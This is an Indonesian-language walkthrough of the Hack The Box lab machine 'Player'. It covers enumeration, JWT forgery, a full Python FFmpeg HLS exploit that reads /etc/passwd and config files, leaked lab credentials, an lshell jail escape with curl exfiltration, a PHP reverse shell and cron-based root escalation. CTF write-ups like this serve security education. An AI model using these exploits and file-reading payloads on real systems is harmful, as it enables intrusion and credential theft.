Player

Hack The Box - Machine Player Walktrough / Writeup

Introduce Machine

Mesin ini dibuat oleh MrR3boot, sistem operasi yang digunakan Linux dan tingkatan dari mesin ini adalah Hard. Mesin ini direlease pada tanggal 6 july 2019 dan retired pada tanggal 18 january 2020.

Enumeration

Seperti biasa hal yan pertama kita lakukan adalah Reconnaissance & Enumeration .

Port scanning

Seperti halnya mesin apa pun, disini kita memulai dengan melakukan pemindaian port menggunakan nmap. Perintah yang saya gunakan disini Full Scan yang artinya akan melakukan pemindaian seluruh port untuk protocol TCP beserta dengan versi versinya.

nmap -vv -Pn -A --osscan-guess --version-all -p- 10.10.10.145

Dari hasil pemindaian tersebut, kita mendapatkan port- port yang terbuka yaitu :

  • 22/tcp : ssh - OpenSSH 6.6.1p1

  • 80/tcp : http - Apache httpd 2.4.7

  • 6686/tcp : ssh - OpenSSH 7.2

Vulnerabilty Analysis

Ditahapan ini kita akan mencoba mengidentifikasi dan menganalisis masing-masing port. Dengan tujuan untuk menemukan kerentanan yang ada pada service tersebut.

Why Vulnerability Analysis Is So Important

Mengidentifikasi dan menganalisa kerentanan terhadap masing masing service sangat penting, karena bisa saja pada service tersebut memiliki kerentanan yang saling berkaitan dengan service lainnya.

OpenSSH 6.6.1p1

Sebelum itu, kita akan mengulas sedikit apa itu OpenSSH. Agar teman-teman yang belum tau ataupun yang baru belajar bisa lebih paham .

What is OpenSSH

OpenSSH ini adalah satu set aplikasi komputer yang bisa mendukung sesi komunikasi terenkripsi pada jaringan komputer menggunakan protokol ssh. Awalnya aplikasi ini dikembangkan sebagai aplikasi open source yang menjadi alternatif dari aplikasi serupa yang berbayar.

Oke lanjut, disini pada port 22 kita mendapatkan bahwa port ini digunakan untuk layanan SSH, versi yang digunakan adalah OpenSSH versi 6.6.1p1.

Finding Exploit

Perintah yang digunakan untuk mencari Exploit / Vulnerabilty :

searchsploit OpenSSH | grep "6.6"

Command Execution - False Postive

Setelah mencari versi tersebut menggunakan searchsploit, kita menemukan beberapa vulnerabilty pada versi tersebut yaitu Command Execution.

Disini saat kita mengujinya, exploit tersebut tidak berjalan. Kemungkinan besar service ini sudah tidak rentan terhadap serangan ini

OpenSSH 7.2

Pada port 22 kita mendapatkan bahwa port ini digunakan untuk layanan SSH, versi yang digunakan adalah OpenSSH versi 7.2.

Finding Exploit

Perintah yang digunakan untuk mencari Exploit / Vulnerabilty :

searchsploit OpenSSH | grep "7.2"

Untuk versi tersebut kita menemukan kerentanan yang sangat menarik, yaitu xauth command injection

Xauth Command Injection

Kerentanan xauth command injection ini adalah user yang memiliki authentikasi dapat menginjeksi code/instruksi melalui request channel x11. Itu termasuk dalam karakter baris baru dalam cookie x11.

Nah celah ini bisa dimanfaatkan oleh pengguna yang aksesnya terbatas, untuk mendapatkan akses tanpa adanya limitasi dalam menjalankan suatu perintah. Contohnya, salah satu user memiliki login shell yang telah dikonfigurasi sebagai / bin / false ataupun Enviroment dari user ini telah disetting agar menggunakan limited shell (lshell).

Berhubungan Exploit ini membutuhkan username dan password, kita akan meninggalkan kerentanan ini terlebih dahulu. Kita akan mencari password dan username di service lainya seperti pada web application

PORT 80 HTTP

Pada port 80 ini kita diberikan sebuah layanan http dan jangan lupa kita tambahkan settingan di etc/hosts nya seperti gambar dibawah ini.

Saat mengunjungi halaman tersebut kita tidak diberikan untuk mengakses direktori root server web.

Subdomain Discovery

Disini saya coba melakukan enumerasi lebih dalam terhadap domain tersebut, siapa tau ada subdomainya lainya yang terseting di virtual host. Disini kita dapat menggunakan Gobuster. ataupun Wfuzz.

#!/bin/bash
wfuzz -c -w ${1} --hc 400,404,403 -H "Host: FUZZ.${2}" -u http://${2} -t 10

Kita mendapatkan subdomain lainya yaitu dev.player.htb, staging.player.htb dan chat.player.htb

dan jangan lupa tambahkan subdomain ini ke /etc/hosts kita. Setelah menambahkannya, kita kunjungi semua subdomain yang kita dapatkan dan lakukan enumerasi terhadap web tersebut secara manual

Web Directory Enumeration

Kemudian disini kita mencoba mencari direktori lainnya yang terdapat didalam server. Disini kita bisa menggunakan tools dirsearch ataupun Gobuster.

Disini kita mendapatkan direktori website lainya yaitu direktory launcher.

Saat mengunjungi halaman ini kita tidak mendapatkan petunjuk satupun, maka dari itu kita akan coba mencari inforamsi dari subdomain lainya.

Subdomain yang cukup menarik bagi saya disini adalah domain staging.player.htb. Subdomain ini memberitahukan kepada kita, bahwa feature di website ini memiliki bug yang dimana akan menampilkan pesan error.

staging.player.htb

Setelah melakukan enumerasi terhadap masing masing feature, kita mendapatkan pesan error disaat kita mengirimkan data ke halaman kontak (contact.php)

Information Disclosoure

Memungkinkan attacker untuk melihat informasi yang seharusnya tidak dapat diakses atau dilihat .

Dari error tersebut kita mendapatkan informasi yang sangat penting seperti username dan direktori. Informasi ini kita simpan terelebih dahulu, kemungkinan besar informasi ini saling berkaitan dan dapat kita gunakan suatu saat

Username :

  • Cleveland

  • Glenn

  • Peter

Path :

  • /var/www/backup/service_config

  • /var/www/staging/fix.php

Selanjutnya kita mencoba mencari informasi lainya di subdomain chat.player.htb. Pada halaman web tersebut, kita disajikan sebuah histori chat antara Vincent Porte dengan Project Manager.

chat.player.htb

Di chat tersebut Vincent mengatakan bahwa di domain utama (player.htb) dan staging (staging.player.htb) memiliki kerentanan.

Untuk subdomain staging.player.htb kita sudah menemukan kerentanan tersebut, selanjutnya kita akan coba fokus pada domain utama untuk menemukan source code yang telah terekpose.

PHP Temporary File Source Code Disclosure

Penyebab source code terekspose biasanya disebabkan oleh kesalahan konfigurasi, seperti lupa menghapus file backup atau pun file temporary dari suatu file dan file permission terhadap file tidak di atur dengan benar. Sehingga kita dapat mengakses atau membaca file tersebut.

Various text editors automatically save backups of each file the user chooses to open with file names such as: file.ext~, #file.ext#, ~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old. If the user edits a PHP file in the web root, the backup that is created will not be parsed by the PHP engine upon request, but will instead be returned to the remote attacker unmodified. Thus, the script's source code is disclosed.

Exposing Source Code

Setelah mencoba berbagai kemungkinan kita menemukan sebuah file temporary backup yang beralamatkan di

http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php

dan informasi ini juga didukung pada subdomain dev.player.htb/.gitignore yang menetapkan file ".swp" dan "~" menjadi temporary file yang mungkin ada pada server.

kita hanya menambahkan karakter "~" dibelakang nama file tersebut dan source code pun berhasil kita temukan.

Note : Informasi file dee8dc8a47256c64630d803a4c40786c.phpdidapatkan melelaui Network monitor di saat melakukan HTTP Request ke domain utama yaitu player.htb/launcer.

informasi ini juga bisa didapatkan melelaui Web Crawl menggunakan Burpsuite.

JSON Web Tokens (JWT)

Dari kode diatas kita mendapatkan petunjuk, bahwa adanya penggunan JSON Web Tokens (JWT). Ini menarik, kita juga mendapatkan informasi tentang token yang diperlukan untuk memanggil "header" yang mengalihkan ke lokasi lain di server. Maka dari itu kita coba mengenerate token tersebut

Decode JWT Tokens

Disini kita dapat menggunakan Jwt.io untuk melakukan decode dan encode terhadap access keyna

Melakukan request terhadap domain utama (player.htb) dan mencoba mendecode access key yang berada pada cookie .

Token yang berhasil kita decode sesuai dengan source code php yang telah kita dapatkan, yaitu C0B137FE2D792459F26FF763CCE44574A5B5AB03 dan dialihkan ke halaman index.html .

Generate JWT Tokens

Maka dari itu kita akan mencoba mengenerate token yang memiliki previleged yang lebih tinggi untuk mengakses halaman 7F2XXXXX tersebut, dengan mengubah access code dan menambahkan secret base64 encode yang telah kita dapatkan.

Setelah mendapatkan access key yang baru, kita ganti value cookie dengan access key disaat melakukan GET request ke domain utama (player.htb).

Gambar diatas menunjukan, bawha cookie yang kita submitkan sudah valid dan halaman sudah di redirect ke halaman yang kita inginkan.

http://player.htb/launcher/7F2dcsSdZo6nj3SNMTQ1/

Dihalaman ini kita diberikan sebuah web application untuk melakukan media conveter. Kita dapat mengupload file media dan itu akan dikonversi ke format video AVI. Saya sudah mencoba mengupload berbagai jenis ektensi dan ujung-ujungnya terkonversi menjadi format video AVI.

Maka dari itu saya kepikiran mencoba beberapa program komputer yang dapat melakukan ini selain ImageMagick yaitu FFmpeg.

FFmpeg

FFmpeg adalah program komputer yang dapat merekam, mengkonversikan dan streaming audio dan video digital dalam berbagai format. FFmpeg merupakan aplikasi command line yang terdiri dari kumpulan pustaka perangkat lunak bebas / open source.

FFmpeg HLS vulnerability

Topik FFmpeg HLS vulnerability sangat hangat diperbicangkan pada tahun 2016, ketika Maxim Andreev dan Nikolay Ermishkin membawakan topik ini pada Blackhat USA 2016

Penjelasan secara garis besarnya tentang celah ini, kita dapat memanfaatkan file media dengan format avi untuk membaca file sistem dari target (Local File Inclusion)

Exploiting FFmpeg

Saya menggunakan payload dibawah ini , untuk eferensi lebih detailnya bisa baca disini

import struct
import argparse
#Refrence : https://hackerone.com/reports/237381
AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LISTt\x00\x00\x00strlstrh8\x00\x00\x00txts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x86\x03\x00\x00\x10'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\xa0\x00strf(\x00\x00\x00(\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x01\x00\x18\x00XVID\x00H\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LIST movi"
def make_txt_packet(content, fake_packets=100, fake_packet_len=100):
content = b'GAB2\x00\x02\x00' + b'\x00' * 10 + content
packet = b'00tx' + struct.pack('<I', len(content)) + content
dcpkt = b'00dc' + struct.pack('<I', fake_packet_len) + b'\x00' * fake_packet_len
return packet + dcpkt * fake_packets
TXT_PLAYLIST = """#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0,
#EXT-X-BYTERANGE: 0
file:///{txt}
#EXTINF:1.0,
{file}
#EXT-X-ENDLIST"""
def prepare_txt_packet(txt, filename):
return make_txt_packet(TXT_PLAYLIST.format(txt=txt, file=filename).encode())
# TXT_LIST = ['/usr/share/doc/gnupg/Upgrading_From_PGP.txt', '/usr/share/doc/mount/mount.txt', '/etc/pki/nssdb/pkcs11.txt', '/usr/share/gnupg/help.txt']
if __name__ == "__main__":
parser = argparse.ArgumentParser('HLS AVI TXT exploit generator')
parser.add_argument('filename', help='file that should be read from convertion instance (prefix it with "file://")')
parser.add_argument('output_avi', help='where to save the avi')
parser.add_argument('--txt', help='any .txt file that exist on target system', default='/usr/share/doc/gnupg/Upgrading_From_PGP.txt')
args = parser.parse_args()
assert '://' in args.filename, "ffmpeg needs explicit proto (forgot file://?)"
avi = AVI_HEADER + prepare_txt_packet(args.txt, args.filename)
output_name = args.output_avi
with open(output_name, 'wb') as f:
f.write(avi)

LFI via FFmpeg HLS

Hal yang pertama saya lakukan adalah membuat file dengan format avi untuk memabaca file /etc/passwd menggunakan exploit tersebut.

python exploit.py file:///etc/passwd passwd.avi

Lalu mengupload file tersebut ke server dan kita diberikan link untuk mendownload file video hasil konversi.

Getting Credentials From File Configuration

Selanjutnya kita akan mencoba membaca file yang telah kita dapatkan di tahapan awal enumerasi. Informasi file yang sangat menarik untuk saya adalah file service_config. Maka dari itu kita akan membaca file ini terlebih dahulu .

python exploit.py file:///var/www/backup/service_config service_conf.avi

Setelah berhasil mengupload exploitnya dan mendownload file video hasil konversi. Kita mendapatkan informasi username dan password.

Username : telegen
Password : d-bC|jC!2uepS/w

Credentials ini saya coba gunakan untuk login ke halaman dev.staging.htb, tetapi tidak bisa. Kemudian pada port 22 ssh tidak berfungsi juga, Tetapi pada port ssh 6686, credentials ini dapat digunakan.

The Restricted Shell

Setelah berhasil masuk dan mendapatkan akses shell, sayangnya Enviroment dari user ini telah disetting agar menggunakan limited shell (lshell).

Kita hanya memiliki akses ke perintah yang telah ditetapkan secara default, seperti :

  • clear, exit, help, history, lpath dan lsudo

Jadi perintah seperti cd, cat dan ls tidak dapat digunakan, beberapa karakter yang tidak dapat juga kita gunakan

  • [‘;’, ‘&’, ‘|’, ’` ’,’, ’,’, $, ‘$ (‘, {$ {‘]

Saya mengetahui informasi tersebut dengan melihat source code dan file konfigurasi default dari lshell ini.

Escape from jail

Lshell ini pernah memiliki security issue di tahun 2016, yang dimana kita hanya cukup menekan key dibawah ini

<CTRL+V><CTRL+J>

untuk melakukan escaping shell dengan perintah multi-line. Kemudian kita mencoba melakukan eksperimen dengan memanfaatkan informasi tersebut. Apakah perintah multi-line ini masih bisa berhasil di eksekusi .

Filter Bypass

Dari gambar diatas kita berhasil menjalankan perintah curl. Selanjutnya kita akan mencoba membypass perintah perintah yang di filter, contohnya spasi dan masih banyak lagi.

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#bypass-without-space

Setelah mencoba beberapa cara untuk membypass spasi, kita menemukan cara dengan menggunakan IFS variable $"{IFS}" . Disini saya menambahkan karakter double qoutes sebelum $ IFS variable dikarenakan karakter/perintah ${telah di filter.

Disini kita dapat membaca file user.txt yang berada pada server dengan memanfaatkan curl seperti gambar diatas. Mencoba membaca informasi file konfigruasi lainya yang ada pada folder staging.

Respone dari sisi attacker seperti gambar dibawah

Kita mendapatkan credentials melalui file fix.php, yang dimana username dan password tersebut dapat digunakan untuk login ke halaman dev.staging.htb

Username : peter
Password: CQXpmz)G5D#%S$y=

Notes: Informasi File /var/www/staging/fix.php & /var/www/backup/service_config didapatkan disaat kita melakukan enumerasi pada port 80 http - Information Disclosoure

Alternative Methode

Alternatif lainya untuk mendapatkan flag user dan credentials , dengan memanfaatkan kerentanan yang ada pada layanan ssh dengan versi OpenSSH 7.2

Exploit Xauth Command Injection

Masih ingat dengan temuan disaat kita melakukan Vulnerabilty Analysis pada port 6686 ? Nah jikalau masih ingat, di tahapan ini lah kita akan mengujinya.

Getting User.txt

Dari gambar diatas exploit berjalan dengan lancar dan kita mencoba untuk membaca flag user dengan memasukan perintah .readfile /home/telegen/user.txt.

Selanjutnya kita juga coba membaca file yang berada pada folder staging dengan memasukan perintah,

.readfile /var/www/staging/fix.php

informasi username dan password dari peter juga berhasil didapatkan melalui methode ini.

Initial Shell

Unrestricted File Upload

Selanjutnya, dengan credential peter tadi kita berhasil login kehalaman dev.player.htb. Pada halaman tersebut kita dapat membuat folder dan mengupload sebuah file dengan ektensi apapaun itu .

dev.player.htb

PHP Reverse Shell

Kita buat folder dengan nama Papoy dan kita juga mebuat sebuah file untuk melakukan reverse shell

Setelah disimpan dan berhasil di upload kita dapat mengakses file kita yang beralamatkan di http://dev.player.htb/Papoy/rev_shell.php

Berrhasil mendapatkan akses shell dari server dan ditahapan selanjutnya kita akan melakukan Previlege Escalation untuk menadpatkan akses user yang lebih tinggi.

Previlege Escalation

Selanjutnya kita mengupload file file pspy64 untuk memonitor process yang berjalan secara realtime,

ketika menjalankan pspy64, kita melihat ada proses yang menjalankan file /var/lib/playbuff/buff.php dengan permission sebagai root secara berkala.

Setelah melihat file buff.php, ada statement include yang menyertakan atau memanggil file php lain dari folder /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php

Dari informasi diatas file buff.php tidak dapat di edit, kita coba melihat file permssion pada file dee8dc8a47256c64630d803a4c40786g.php

Writable file

Berhubung kita memiliki izin untuk mengedit file dee8dc8a47256c64630d803a4c40786g.php,maka kita akan menambahkan statement include di dalam file ini . Yang nantinya statement include ini merujuk ke file reverse shell kita yang bearada di direktori /tmp

file dee8dc8a47256c64630d803a4c40786g.phptelah berhasil kita edit dan kita tinggal menunggu script fix.php dijalankan.

Setelah menunggu beberapa menit, listener kita mendapatkan respon balik dari mesin target dan kita pun berhasil mendapatkan akses server secara penuh .

Getting Root.txt

Flag root dari mesin Player

Terimakasih, Kalo di rasa tulisan ini bermanfaat, silahkan Share. Semoga kebermanfaatan ini terus berlanjut!

Download Versi PDF

Teman teman juga dapat mendownload tulisan ini dalam format pdf.